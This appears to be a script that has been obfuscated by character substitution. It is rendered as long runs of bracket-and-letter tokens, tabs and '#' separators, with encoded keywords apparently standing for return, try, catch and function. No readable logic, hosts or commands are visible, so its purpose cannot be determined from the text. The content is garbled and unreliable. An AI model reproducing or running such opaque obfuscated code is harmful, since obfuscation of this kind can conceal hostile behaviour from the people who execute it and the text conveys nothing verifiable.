OF[LHJA		H[[HP 		i@N[KMFGKOJZ _ONSMO					SPDBZLLFM] 					XONOYOA[[ 	HZ	APvD 				QvL@DHL^QLrt						APvD#OF[LHJA		H[[HP 	i@^v_XSYHPXKSN hkzyh}a						KKAEPBMEYMGE 			QPGCZJF^Z			@N[KMFGKOJZ  		HZ						EYCHFE 	QvL@DHL^QLrt				EYCHFE#OF[LHJA			H[[HP 			iKKAEPBMEYMGE _ONSMO															QPGCZJF^Z				@N[KMFGKOJZ  		HZ			EYCHFE 			QvL@DHL^QLrt				EYCHFEEv^HEXKSyayvdhcf{vl{z`fgHMYQEv^HEXKS#OF[LHJA			H[[HP 	iSPDBZLLFM] LCB\LSHJLG[O					QPGCZJF^Z						@N[KMFGKOJZ  		HZ				EYCHFE 		QvL@DHL^QLrt						EYCHFE#OF[LHJA					H[[HP 		i@N[KMFGKOJZ YN@KKM										QPGCZJF^Z			SPDBZLLFM]  		HZ			EYCHFE 			QvL@DHL^QLrt								EYCHFE#OF[LHJA	H[[HP 		iKKAEPBMEYMGE ]\CAHAFML@HB													QPGCZJF^Z							@^v_XSYHPXKSN  			HZ	EYCHFE 		QvL@DHL^QLrt					EYCHFE#		T#AP[OAG^[PQv				FZLYYKLLEQ[\Ahkzyh}a			N	  #		vYGvD_ZE						H[[HPhkzyh}a								KKAEPBMEYMGE 				_ONSMO				LCB\LSHJLG[O		YN@KKM						]\CAHAFML@HB ####					OF[LHJA		vYGvD_ZE		HZ			vNM 					R#	~F[My[LZZ		JFDDHGMZ	YFZ@]@_LMLO@G@]L	J@YAL[Z\@]L##			@O		i@^v_XSYHPXKSN vNM 				iKKAEPBMEYMGE vNM  		]CMKXXQK@G\FHvNM			@^v_XSYHPXKSN 							AP[OAG^[PQv		^NKBHS]S^NFHGH^O] 	@^v_XSYHPXKSN  #		T#					@O						KKAEPBMEYMGE SPDBZLLFM]   		R#OF[LHJA	vYGvD_ZE	HZ			vNM 					R#			OF[LHJA		H[[HPSPDBZLLFM] 	@^v_XSYHPXKSN 	SPDBZLLFM] 			@^v_XSYHPXKSN 				KKAEPBMEYMGE 				@^v_XSYHPXKSN 		@N[KMFGKOJZ 			SPDBZLLFM] 	@^v_XSYHPXKSN  		HZ		BNQM_AA_\N 			RCSY_POQHNKSQQL C]LDHZLCSY_POQHNKS#OF[LHJA	H[[HP 	iKKAEPBMEYMGE vNM							BNQM_AA_\N					 	HZ		M[EX]]XXD@OG@ 				QvL@DHL^QLrt			M[EX]]XXD@OG@####T#				OF[LHJA			H[[HP 		iKKAEPBMEYMGE vNM							@^v_XSYHPXKSN  	HZ						PG^LLLJ]]HGZHFH 	QvL@DHL^QLrt			PG^LLLJ]]HGZHFH#		T##		T#\GZL]AP[OAG^[PQv				vYGvD_ZE	vNM	BNQM_AA_\N	M[EX]]XXD@OG@				PG^LLLJ]]HGZHFH ##			MQBDBZXCvM									H[[HPhkzyh}a				SPDBZLLFM] 				_ONSMO		KKAEPBMEYMGE  #		OF[LHJA						MQBDBZXCvM		HZ			BPDBMMQ] 	R#@O				iSPDBZLLFM] BPDBMMQ]  				JFG]@G\L#		@DZNOYA											iKKAEPBMEYMGE BPDBMMQ] \SKFGQASZDEZX\SKFG#			@O			@DZNOYA				KKAEPBMEYMGE @DZNOYA		@^v_XSYHPXKSN  				OHEZL 				R#					@DZNOYA			KKAEPBMEYMGE @N[KMFGKOJZ 						KKAEPBMEYMGE E@J_vM@Y		 			@N[KMFGKOJZ 		uG	@DZNOYA #							@O			KKAEPBMEYMGE @DZNOYA  					R#@DZNOYA						SPDBZLLFM] @^v_XSYHPXKSN 						@^v_XSYHPXKSN E@J_vM@Y				 			KKAEPBMEYMGE 				uG	@DZNOYA ##		T#				@O		@^v_XSYHPXKSN @DZNOYA  	R#	@DZNOYA			@^v_XSYHPXKSN KKAEPBMEYMGE 						@^v_XSYHPXKSN E@J_vM@Y						 						SPDBZLLFM] 			uG		@DZNOYA N[vY]ASLM@Y^MFP@LN]N[vY]ASLM@Y#T#	@O		KKAEPBMEYMGE @DZNOYA  	ZKXOKS\JGG_ZQC@QYBPDBMMQ]			@DZNOYA #				T#						T####		[JDN[N			hkzyh}a						@N[KMFGKOJZ #			@O	iKKAEPBMEYMGE [JDN[N  			R#	L\BEDB]]vO					SPDBZLLFM] hkzyh}a 			@^v_XSYHPXKSN ##				@O			i@^v_XSYHPXKSN L\BEDB]]vO  	[JDN[N			L\BEDB]]vO####	T#		@O		i@N[KMFGKOJZ [JDN[N 			i@^v_XSYHPXKSN [JDN[N  				R#	v^J				i@^v_XSYHPXKSN [JDN[N [LYGH@BF@L[]@K\BOA[LYGH@BF@L#@O				SPDBZLLFM] v^J 				@^v_XSYHPXKSN v^J	KKAEPBMEYMGE  							OHEZL 	R#			^vGYM\ACJO				SPDBZLLFM] SPDBZLLFM] 						v^J #	@O	@N[KMFGKOJZ ^vGYM\ACJO 										^vGYM\ACJO					v^J									_SMG[M@XJvKJSK\^vGYM\ACJO  						R####		]MQ@XDOHS		i@^v_XSYHPXKSN [JDN[N #	@O				ZKXOKS\JGG_ZQC@QY[JDN[N		^vGYM\ACJO 						]MQ@XDOHS 		iSPDBZLLFM] [JDN[N		]MQ@XDOHS #T#	\GZL]^vGYM\ACJO		]MQ@XDOHS #		T#\GZL]v^J #	T#\GZL][JDN[N		L\BEDB]]vO #		[_FFZv[vAFX\					SPDBZLLFM] KKAEPBMEYMGE  								iSPDBZLLFM] @N[KMFGKOJZ  				OHEZL#@O		[_FFZv[vAFX\	UU	[_FFZv[vAFX\									 					[_FFZv[vAFX\				@N[KMFGKOJZ ####	KSJNMK[\NDZ			H[[HPhkzyh}a			[_FFZv[vAFX\		_ONSMO														[_FFZv[vAFX\ #		OF[LHJA		KSJNMK[\NDZ	HZ	JLHJACCM] 					R#		@O			iKKAEPBMEYMGE JLHJACCM]  			JFG]@G\L#					@DZNOYA		iKKAEPBMEYMGE JLHJACCM] ###@O					@DZNOYA						@^v_XSYHPXKSN @DZNOYA				SPDBZLLFM]  					OHEZL 			R#						@DZNOYA			SPDBZLLFM] @N[KMFGKOJZ 						SPDBZLLFM] KLKN_OLM				 			@^v_XSYHPXKSN 				@DZNOYA ####						@O	SPDBZLLFM] @DZNOYA  	ZKXOKS\JGG_ZQC@QYJLHJACCM]		@DZNOYA ###T#T#					C^[HLFSKNCBBJ								H[[HP####		_ONSMO											KLKN_OLM#					LCB\LSHJLG[O										KLKN_OLM###					YN@KKM										KLKN_OLM#				 ###				YP]ZF^K								SPDBZLLFM] QvL@DHL^QL			C^[HLFSKNCBBJ #					OF[LHJA					C^[HLFSKNCBBJ				HZ		MLXDFHODDKY 			R#	@O					i@N[KMFGKOJZ MLXDFHODDKY  	R#					XX]L[vEYC^\OZSZ_@JLMLXDFHODDKY			  #			ZKXOKS\JGG_ZQC@QYMLXDFHODDKY	@^v_XSYHPXKSN  #					T#T#	OF[LHJA	YP]ZF^K	HZ				MLXDFHODDKY 	R#@O	iKKAEPBMEYMGE MLXDFHODDKY  		R#	XX]L[vEYC^\OZSZ_@JLMLXDFHODDKY	  #@PE[Z\[XJ_PLXGMLXDFHODDKY ####T#		T#				OF[LHJA				O^DCFJECC_ 				HZ	FD]NJJvOL@HX] 			R#@O	i@^v_XSYHPXKSN FD]NJJvOL@HX] 					UU			i@^v_XSYHPXKSN FD]NJJvOL@HX]  	JFG]@G\L#	@DZNOYA		iKKAEPBMEYMGE FD]NJJvOL@HX] #					@O	KKAEPBMEYMGE @DZNOYA  		R#							C]CKCK@GOMX\v					@M\[^SLG]QQBQQ@DZNOYA	@^v_XSYHPXKSN 			SPDBZLLFM]  #C]CKCK@GOMX\v					@M\[^SLG]QQBQQC]CKCK@GOMX\v	@N[KMFGKOJZ 			@^v_XSYHPXKSN  #	@O		SPDBZLLFM] C]CKCK@GOMX\v 							C]CKCK@GOMX\v							@DZNOYA 			ZKXOKS\JGG_ZQC@QYFD]NJJvOL@HX]			C]CKCK@GOMX\v #							\GZL]C]CKCK@GOMX\v #					T#	T####			@O			@N[KMFGKOJZ SPDBZLLFM]  									KKAEPBMEYMGE @N[KMFGKOJZ   						R####				BLP						[HB[vv^K\Q_OE\F #	@O	BLP				OHEZL 	R###				vH_vDASMAvO						i@^v_XSYHPXKSN BLP				^				 #			@O				vH_vDASMAvO 		R#	iKKAEPBMEYMGE vH_vDASMAvO #				i@^v_XSYHPXKSN vH_vDASMAvO #			T#					T#						T#				@O		SPDBZLLFM] KKAEPBMEYMGE   		R#					XZ^\@KJE^					FZLYYKLLEQ[\Ahkzyh}a		SPDBZLLFM] 	  #	iMLEL]LvFY]@FGXZ^\@KJE^ ####Av\ONQKZ					@^v_XSYHPXKSN SPDBZLLFM]  						iNL]vFY]@FGKKAEPBMEYMGE 	H[[HP  					H[[HP #@O			SPDBZLLFM] Av\ONQKZ  		R#			@O				@ZZL]Av\ONQKZrKt  	@PE[Z\[XJ_PLXGAv\ONQKZrKt #		@O	@ZZL]Av\ONQKZrKKAEPBMEYMGE t 							@^v_XSYHPXKSN Av\ONQKZrKKAEPBMEYMGE t  		R#OF[LHJA			Av\ONQKZr@^v_XSYHPXKSN t			HZ			vJ@ 			R###			@O	SPDBZLLFM] vJ@ 			@ZZL]vJ@rKt  				@PE[Z\[XJ_PLXGvJ@rKt #	T#	T#		T#						iMLEL]LvFY]@FG@^v_XSYHPXKSN  ##		iMLEL]LvFY]@FG@^v_XSYHPXKSN  #		iMLEL]LvFY]@FGSPDBZLLFM]  #iMLEL]LvFY]@FG@N[KMFGKOJZ  #						iMLEL]LvFY]@FGSPDBZLLFM]  #					iMLEL]LvFY]@FG@N[KMFGKOJZ  #				iMLEL]LvFY]@FGSPDBZLLFM]  #	iMLEL]LvFY]@FG@N[KMFGKOJZ  ##			\GZL]Av\ONQKZ			vJ@ #					T#	~y	oFG]	e@K[H[P	]HQFGFDP	[LN@Z][H]@FG##@O	KKAEPBMEYMGE SPDBZLLFM]   			R#								iMLEL]Lv][HGZ@LG]@N[KMFGKOJZ  #iMLEL]Lv][HGZ@LG]@^v_XSYHPXKSN  #		iMLEL]Lv][HGZ@LG]HZZ[vN@S@BZX  #T#	@O				KKAEPBMEYMGE @N[KMFGKOJZ   					R###i^YvJELH[vZJALM\ELMvAFFB@N[KMFGKOJZ  OK_E]\[MX^YUALX[Q]@JAXGNZOK_E]\[MX^Yw###	i^YvJELH[vZJALM\ELMvAFFB@N[KMFGKOJZ  #	i^YvJELH[vZJALM\ELMvAFFBSG^DSX^[_L  ####					T#				T	JH]JA			}A[F^HKEL			E]GYK]v 						R#			FBQKvM[JB\ZMHPE\SPDBZLLFM] 	E]GYK]v #T				JH]JA	lQJLY]@FG	E]GYK]v 		R#T#		T#O\GJ]@FG		BHQQYMOF@LP]XXH #			R#			][P	R##@O	MLO@GLMSPDBZLLFM]   			[L]\[G				OHEZL####_ONSMO				\PMXQZ\DMJ_]\OH #	DSFCBF\EJ				_ONSMO				@N[KMFGKOJZ #		M_XXHYC^C_SP						@^v_XSYHPXKSN [ZKLSD_ 		SPDBZLLFM]  #		YEA^CJENGPQ								LSQQPGQ_@[D^ #	@O		YEA^CJENGPQ			UU		@^v_XSYHPXKSN YEA^CJENGPQ 										 					UU		@^v_XSYHPXKSN YEA^CJENGPQ 					QLLMQHO 		UU		K[N[JPDKAX]LSYEA^CJENGPQ 	UU		_SMG[M@XJvKJSK\YEA^CJENGPQ  			[L]\[G			OHEZL#J\[[LG]		iSPDBZLLFM] DSFCBF\EJ 				i@^v_XSYHPXKSN DSFCBF\EJ 							#				@O				SPDBZLLFM] J\[[LG]  		R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	@^v_XSYHPXKSN  #								[L]\[G	OHEZL#			T#						J\[[LG]					C^v@Z@\@ACBCLJ\[[LG] #C_MFC[]GPPG			^NKBHS]S^NFHGH^O] 														FZLYYKLLEQ[\Ahkzyh}a					@^v_XSYHPXKSN 	QQ  ###			Z[XDNv\XGSDB				@^v_XSYHPXKSN 					C_MFC[]GPPG							KKAEPBMEYMGE ####DAGQ[H							@^v_XSYHPXKSN 								C_MFC[]GPPG				KKAEPBMEYMGE #					HM_YGCXDA								FZLYYKLLEQ[\Ahkzyh}a				SPDBZLLFM] 	  #		\_PBJLHGSJ_^C@								@N[KMFGKOJZ SPDBZLLFM] 		HM_YGCXDA			@^v_XSYHPXKSN 							J\[[LG] #			\GPCXKOECX				SPDBZLLFM] \_PBJLHGSJ_^C@			SPDBZLLFM]  								OHEZL #	@O	KKAEPBMEYMGE J\[[LG]		Z[XDNv\XGSDB 				OHEZL			KKAEPBMEYMGE J\[[LG]						DAGQ[H 						OHEZL						\GPCXKOECX 		[L]\[G			][\L#J\[[LG]					SPDBZLLFM] SPDBZLLFM] 				\_PBJLHGSJ_^C@ #	@O	KKAEPBMEYMGE J\[[LG]  		R#			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			KKAEPBMEYMGE  ##			[L]\[G			OHEZL#		T#		J_@[BEONv_									Q]H[ENCXS]X^Z@] #	@O						J_@[BEONv_ 					[L]\[G	OHEZL###			JS[LNF[N[E		KKAEPBMEYMGE 				@^v_XSYHPXKSN @^v_XSYHPXKSN M_XXHYC^C_SP		Z][@GN 	Y[CQSEMDC_  						w  #	_B@FJFYB							GvOZDJCMQLYAvYLO#@^v_XSYHPXKSN #H[[HPvvze|nvv			vvye|n`gvkhzlvv					vvn|h{mvghdlvv		vvl{z`fgvv #	H[[HPM_XXHYC^C_SP	J_@[BEONv_	JS[LNF[N[E	^NKBHS]S^NFHGH^O]  #					 #	##	@O		_B@FJFYB 			R#				@O		@G] 		NL]vFY]@FGKKAEPBMEYMGE 			 					 				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			SPDBZLLFM]  ####		[L]\[G	OHEZL#	T##					J\[[LG]		C^v@Z@\@ACBCLJ\[[LG] #				P_MP]@Q]GHNCO				@N[KMFGKOJZ KKAEPBMEYMGE 					_B@FJFYB #	F[Q^CK]FEGQX@			@^v_XSYHPXKSN J\[[LG] 				 ###	@O		F[Q^CK]FEGQX@ 				R#	@O	]ANZv@ZAOSOOASGSPDBZLLFM]   		R###					FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 				SPDBZLLFM]  #			[L]\[G		OHEZL#	T##@O		GJvF\F]HHS@DSFCBF\EJ						J\[[LG]  	R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				@^v_XSYHPXKSN  ####					[L]\[G	OHEZL#		T#		JXQ_LD_PNY^S@@C[SPDBZLLFM]  #	T			LEZL	R#	@O			GJvF\F]HHS@DSFCBF\EJ	  	R[vXMZQA\\]^MEBY]PQJ\[vXMZQA\\#				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 					KKAEPBMEYMGE  ##[L]\[G				OHEZL#					T#				T#	_N@]LYAZvQA				LEMDD@YOvY[YJ\[[LG]		Z[XDNv\XGSDB					uG			P_MP]@Q]GHNCO						uG			DAGQ[H ####	@O	ZKXOKS\JGG_ZQC@QYDSFCBF\EJ	_N@]LYAZvQA  		R#					[L]\[G		OHEZL##			T#					@O	F[Q^CK]FEGQX@ 	EHOBPA]OAvHDSFCBF\EJ #	[L]\[G					][\L#		T		JH]JA	}A[F^HKEL				E]GYK]v 				R#				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	E]GYK]v #								[L]\[G		OHEZL##	T	JH]JA			lQJLY]@FG		E]GYK]v 			R#	[L]\[G				OHEZL#					T####T####O\GJ]@FG				O^DCFJECC_ #	R#						[@SJ_CSFAXGMQvQ					H[[HP #		##								@O	@^v_XSYHPXKSN @N[KMFGKOJZ   	[L]\[G	[@SJ_CSFAXGMQvQ#					@MMvvANCK				MLO@GLM@^v_XSYHPXKSN  										~yvjfg}lg}vm`{					MLO@GLMKKAEPBMEYMGE  					hkzyh}a				KKAEPBMEYMGE 				  			SPDBZLLFM] ##				\Y_G^Q@QK@GZ			Z][@GN 			iNL]vFY]@FGSPDBZLLFM] 			 #	@O				\Y_G^Q@QK@GZ					 		[@SJ_CSFAXGMQvQrt					@MMvvANCK				\Y_G^Q@QK@GZ		@^v_XSYHPXKSN #	O^XQ\ZvXDEQAA							Z][@GN 		iNL]vFY]@FG@N[KMFGKOJZ 	 ###			@O	O^XQ\ZvXDEQAA							O^XQ\ZvXDEQAA			\Y_G^Q@QK@GZ 		[@SJ_CSFAXGMQvQrt			@MMvvANCK							O^XQ\ZvXDEQAA					KKAEPBMEYMGE ####			[L]\[G		[@SJ_CSFAXGMQvQ#			T#		O\GJ]@FG	E@H^[DKY[G^^[ #	R#			][P		R#@O			MLO@GLMKKAEPBMEYMGE  	UU	SPDBZLLFM] @N[KMFGKOJZ   		[L]\[G#		OF[LHJA			O^DCFJECC_ 				HZ				@@ZNDYPEAO 				R#	AFZ]	KP]L	F[ML[###			@Q[NMAv@G\S				^D]]OFPX_KGKN@ 			@^v_XSYHPXKSN 			FZLYYKLLEQ[\A@@ZNDYPEAO			  				KKAEPBMEYMGE #			@O		iKKAEPBMEYMGE @Q[NMAv@G\S  			JFG]@G\L#		@O	iKKAEPBMEYMGE @@ZNDYPEAO 							i@N[KMFGKOJZ @@ZNDYPEAO 					 		JFG]@G\L#	_ALQ[BH							i@N[KMFGKOJZ @Q[NMAv@G\S #			@O		@^v_XSYHPXKSN _ALQ[BH 					UU		_ALQ[BH									 		JFG]@G\L###@O	ZKXOKS\JGG_ZQC@QY@@ZNDYPEAO			_ALQ[BH  					R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				@N[KMFGKOJZ  #		i\YMH]LvFY]@FG@^v_XSYHPXKSN 		SPDBZLLFM]  			@^v_XSYHPXKSN  #				T#	T#	iM@ZYH]JA	JF\G]D@GZBL]JA##		T		JH]JA			}A[F^HKEL			E]GYK]v 		R#	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 			E]GYK]v #		T			JH]JA			lQJLY]@FG		E]GYK]v 	R###T#	T#						O\GJ]@FG		MKvZXSQHXQ #					R####	][P	R#	@O	MLO@GLMSPDBZLLFM]   	[L]\[G						OHEZL#						##		A]YZOLHQM_M								O^DCFJECC_ #@O				LDY]PA]YZOLHQM_M  			[L]\[G			OHEZL#	MLHP@NOA@NJ		@G] 		NL]vFY]@FGSPDBZLLFM] 					 #@O					MLHP@NOA@NJ					@N[KMFGKOJZ  						MLHP@NOA@NJ			QHMQHJ  	[L]\[G	OHEZL#			C_MFC[]GPPG			^NKBHS]S^NFHGH^O] 										FZLYYKLLEQ[\Ahkzyh}a										@^v_XSYHPXKSN 						QQ  ###	Z[XDNv\XGSDB				KKAEPBMEYMGE 							C_MFC[]GPPG			@N[KMFGKOJZ #DAGQ[H				@^v_XSYHPXKSN 					C_MFC[]GPPG									KKAEPBMEYMGE #JS[LNF[N[E					KKAEPBMEYMGE 			@^v_XSYHPXKSN @^v_XSYHPXKSN hkzyh}a					Z][@GN 			Y[CQSEMDC_  							  #	M_XXHYC^C_SP					SPDBZLLFM] [ZKLSD_ 		@N[KMFGKOJZ  #	J_@[BEONv_					Q]H[ENCXS]X^Z@] #			##	@O			J_@[BEONv_ 		[L]\[G		OHEZL#][@XGE					GvOZDJCMQLYAvYLO#		@N[KMFGKOJZ #		H[[HPvvze|nvv	vvye|n`gvkhzlvv			vvn|h{mvghdlvv		vvl{z`fgvv #						H[[HPM_XXHYC^C_SP	J_@[BEONv_		JS[LNF[N[E					^NKBHS]S^NFHGH^O]  #							 #				@O		][@XGE 					R###		@O					@G] 					NL]vFY]@FGKKAEPBMEYMGE 		 									 		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 						SPDBZLLFM]  #				[L]\[G	OHEZL#		T#		][@XGE					@^v_XSYHPXKSN @N[KMFGKOJZ 					][@XGE #				@O				KKAEPBMEYMGE ][@XGE 	UU			][@XGE								 	[L]\[G	OHEZL#		OF[LHJA		A]YZOLHQM_M		HZ			FD]NJJvOL@HX] 		R#						@O				i@^v_XSYHPXKSN FD]NJJvOL@HX]  		JFG]@G\L#\FDO]SACF			@^v_XSYHPXKSN @N[KMFGKOJZ  							iKKAEPBMEYMGE FD]NJJvOL@HX]	J 						OHEZL#		@O	\FDO]SACF				OHEZL						@^v_XSYHPXKSN @N[KMFGKOJZ   	iOEFJB\FDO]SACF		efjbvlq #	J\[[LG]								iSPDBZLLFM] FD]NJJvOL@HX] #	@O		SPDBZLLFM] J\[[LG]  					R#	FBQKvM[JB\ZMHPE\SPDBZLLFM] 	SPDBZLLFM]  #				@O			\FDO]SACF								OHEZL 				R##@O	@^v_XSYHPXKSN @^v_XSYHPXKSN   			iOEFJB\FDO]SACF				efjbv|g #					iOJEFZL\FDO]SACF #	T#			JFG]@G\L#		T#][P			R##	@O					@N[KMFGKOJZ J\[[LG] 					QJOJQLM  					J\[[LG]				C^v@Z@\@ACBCLJ\[[LG] LELKQAS^^UGO^KHYHFPHLELKQAS^^w#				@O		KKAEPBMEYMGE J\[[LG]			Z[XDNv\XGSDB 						OHEZL				@^v_XSYHPXKSN J\[[LG]					DAGQ[H 				OHEZL 	[L]\[G					][\L##@O						iSPDBZLLFM] FD]NJJvOL@HX]  			JFG]@G\L####					@Q[NMAv@G\S						^D]]OFPX_KGKN@ 							SPDBZLLFM] 				FZLYYKLLEQ[\AFD]NJJvOL@HX]		  							KKAEPBMEYMGE ####		BPEGMCCP		FZLYYKLLEQ[\Ahkzyh}a						@N[KMFGKOJZ 					  #	J\[[LG]						@M\[^SLG]QQBQQJ\[[LG]		@^v_XSYHPXKSN 		@N[KMFGKOJZ  #			J\[[LG]							@^v_XSYHPXKSN @^v_XSYHPXKSN 								J\[[LG] #@O		KKAEPBMEYMGE J\[[LG]  	R##				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 			KKAEPBMEYMGE  K_BQH]YANXKUP_BKJOASK_BQH]YANXKw###				JFG]@G\L#		T#@O		KKAEPBMEYMGE J\[[LG]	SPDBZLLFM]  					OHEZL			UU	SPDBZLLFM] J\[[LG]	SPDBZLLFM]  									OHEZL 		R#KHKDZ@L						iKKAEPBMEYMGE @Q[NMAv@G\S 				i@N[KMFGKOJZ @Q[NMAv@G\S 				OHEZL#	@O				KKAEPBMEYMGE KHKDZ@L 	UU	KHKDZ@L				 				R]QS^^_HEFKFOSPQABZv]QS^^_HEF#		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		@N[KMFGKOJZ  #			JFG]@G\L#	T##	J\[[LG]						KHKDZ@L#		\GZL]KHKDZ@L #		T#			^MH@[S			_vCY[CYPXM@J\[[LG] #@O					@N[KMFGKOJZ ^MH@[S 							^MH@[S							 				R##					KFAXHLKBBYJ								iSPDBZLLFM] @Q[NMAv@G\S 					i@N[KMFGKOJZ @Q[NMAv@G\S 						OHEZL#	@O			KKAEPBMEYMGE KFAXHLKBBYJ 			UU	KFAXHLKBBYJ								^MH@[S 		ZKXOKS\JGG_ZQC@QY@Q[NMAv@G\S			^MH@[S ###			\GZL]KFAXHLKBBYJ #T#			\GZL]^MH@[S #			^@XKNQCEGLDB				SPDBZLLFM] #@O					SPDBZLLFM] J\[[LG] 									KKAEPBMEYMGE J\[[LG]					SPDBZLLFM]  		OHEZL									KKAEPBMEYMGE SPDBZLLFM] J\[[LG] 	 										@^v_XSYHPXKSN  			R#						^@XKNQCEGLDB					#	T###							MSAQOAMQG							KKAEPBMEYMGE J\[[LG] 							 						uG			##			YSKQ[PBSFJ		MSAQOAMQG					^@XKNQCEGLDB		Z[XDNv\XGSDB					uG				][@XGE				uG					DAGQ[H		uG#			@O			GJvF\F]HHS@FD]NJJvOL@HX]					J\[[LG]  			R#	O\EO@EE	@GOLHZ@KEL	HOO@GL]PYL###		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@N[KMFGKOJZ  ##				JFG]@G\L#							T##			@O	ZKXOKS\JGG_ZQC@QYFD]NJJvOL@HX]		J\[[LG]				YSKQ[PBSFJ  	JFG]@G\L#[L]\[G		][\L#	T				O@GHEEP		R##								@O					\FDO]SACF							OHEZL 		R#		@O	@^v_XSYHPXKSN @N[KMFGKOJZ   					iOEFJB\FDO]SACF					efjbv|g #iOJEFZL\FDO]SACF #		T#		T#	T#		[L]\[G			OHEZL#		T		JH]JA			}A[F^HKEL		E]GYK]v 			R#			FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		E]GYK]v ####		[L]\[G						OHEZL#	T						JH]JA	lQJLY]@FG				E]GYK]v 	R#	[L]\[G				OHEZL##		T#T#O\GJ]@FG		vGOEXYPM]YC #R###								][P		R####			@O	MLO@GLMKKAEPBMEYMGE   				[L]\[G#	@O	SDLMOCK_]JSDN^[ZKLSD_   				[L]\[G#		_ONSMO				\PMXQZ\DMJ_]\OH #		XONOYOA[[								FZLYYKLLEQ[\Ahkzyh}a									@^v_XSYHPXKSN 				w  							KKAEPBMEYMGE #		M_XXHYC^C_SP						KKAEPBMEYMGE [ZKLSD_ 					@^v_XSYHPXKSN  #					YEA^CJENGPQ			LSQQPGQ_@[D^ #			@O	YEA^CJENGPQ		UU	@^v_XSYHPXKSN YEA^CJENGPQ 					  		R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 				@N[KMFGKOJZ  #[L]\[G###T#	@O	@^v_XSYHPXKSN @^v_XSYHPXKSN   			[L]\[G#		[_JPKSDYF^^			H[[HP#		_ONSMO										XONOYOA[[##		_ONSMO				KKAEPBMEYMGE 					@^v_XSYHPXKSN @^v_XSYHPXKSN  						XONOYOA[[#		 #ESH^GZH			MLO@GLM@^v_XSYHPXKSN  									~yvjfg}lg}vm`{					hkzyh}a			@^v_XSYHPXKSN  					KKAEPBMEYMGE ####		@O	iKKAEPBMEYMGE ESH^GZH  		R#				v_DCMv]Z^E^			\Z\AGLAZAHZXB\ESH^GZH ##			@O		@N[KMFGKOJZ v_DCMv]Z^E^  		R####OF[LHJA					v_DCMv]Z^E^		HZ					E]GYK]v 					R#@ZN[XKKQY							ESH^GZH												E]GYK]v#				@O	iSPDBZLLFM] @ZN[XKKQY 		iSPDBZLLFM] @ZN[XKKQY  		R#[_JPKSDYF^^rt					@ZN[XKKQY						XONOYOA[[####	K[LHB#			T####		T#	i@G]L[[\Y]	Z][\J]\[HE]PYL##			T#T#	@GCLJ]@_LHMC	HMHY]L[##		OF[LHJA		[_JPKSDYF^^	HZ					EA@[]EMX 			R#						@O		iSPDBZLLFM] EA@[]EMX 							i@N[KMFGKOJZ EA@[]EMX 		QOOQL  	R#		OG_F^LPP			@N[KMFGKOJZ ##			@O		@^v_XSYHPXKSN OG_F^LPP  	R#		C\[F]DSL			GL^						OG_F^LPP #			@O		iC\[F]DSLFYLGEA@[]EMX 			][\L 				R####	C\[F]DSLJEFZL #	JFG]@G\L#	T#		T#				T####[YBEB\JZ				KKAEPBMEYMGE EA@[]EMX #		@O	iSPDBZLLFM] [YBEB\JZ  	vGQBQZEPNCOHHM[YBEB\JZ	 		][\L #				OG_F^LPP		SPDBZLLFM] ###		PP_ZDMKXPMM										Jv[GJMMAY\BvJQ[YBEB\JZ		@N[KMFGKOJZ  ###				@O			PP_ZDMKXPMM				OHEZL 				JFG]@G\L#vvPvP[@JZ				GL^				OG_F^LPP #@O		ivvPvP[@JZFYLGPP_ZDMKXPMM		OG_F^LPPj{lh}l						U		OG_F^LPPfl{~{`}l 						][\L 	R#				vvPvP[@JZHMMo[FDz][@GNM_XXHYC^C_SP						M_XXHYC^C_SP							@^v_XSYHPXKSN 		YEA^CJENGPQ #		vvPvP[@JZJEFZL #		OXYE^DN^QL			GL^			OG_F^LPP #				@O			iOXYE^DN^QLFYLGPP_ZDMKXPMM 			][\L 				R#			OXYE^DN^QLJEFZL #	@O			A[E_SCK^\vBYPP_ZDMKXPMM		EA@[]EMX 		UU			OFS\^N^[@QHPP_ZDMKXPMM	EA@[]EMX 									@PE[Z\[XJ_PLXGPP_ZDMKXPMM   			R#				JBA\G@vQJPN]M]EA@[]EMX	^ASQ\PAL\@O  ###		XX]L[vEYC^\OZSZ_@JLEA@[]EMX	  ####					T				LEZL	R#	~y	zL[_L[	z@ML	{LGML[	JFGZ]HG]]@DL	ZJALM\EL[#####			@PE[Z\[XJ_PLXGPP_ZDMKXPMM #T#	HYY[FQ@DH]L	DH]JA##			T	LEZL	R#			@PE[Z\[XJ_PLXGPP_ZDMKXPMM #		T#T	LEZL		R#						@PE[Z\[XJ_PLXGPP_ZDMKXPMM #				T#	T#T	JH]JA		}A[F^HKEL						E]GYK]v 						R####				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		E]GYK]v #								T		JH]JA		lQJLY]@FG			E]GYK]v 			R#T####T#			O\GJ]@FG	CPOBPSMQCNL[Y #	R####		][P		R###			@O		@^v_XSYHPXKSN @N[KMFGKOJZ  			UU	@^v_XSYHPXKSN SPDBZLLFM]   			[L]\[G#	@O			MLO@GLM@N[KMFGKOJZ   			[L]\[G##	J@HEvXZE			@^v_XSYHPXKSN #	@O	^YvGLQ]vZJALM\ELMJ@HEvXZE  		R###^YvZJALM\ELvL_LG]@^v_XSYHPXKSN  								 	@N[KMFGKOJZ 						J@HEvXZE #	LZJHYLHGHEPSL	ZLZX\@E@GLH[	ZB@YE@Z]##				T###	@O						^YvGLQ]vZJALM\ELM@^v_XSYHPXKSN   				R#	^YvZJALM\ELvL_LG]KKAEPBMEYMGE  		 	KKAEPBMEYMGE 	@^v_XSYHPXKSN  #		T#	JEFZLM	JFG]H@GL[##T				JH]JA		}A[F^HKEL		E]GYK]v 		RGXO\^E[ZNYASKGXO\^E[#					FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	E]GYK]v #		T				JH]JA					lQJLY]@FG	E]GYK]v 		R#	T###	T####O\GJ]@FG			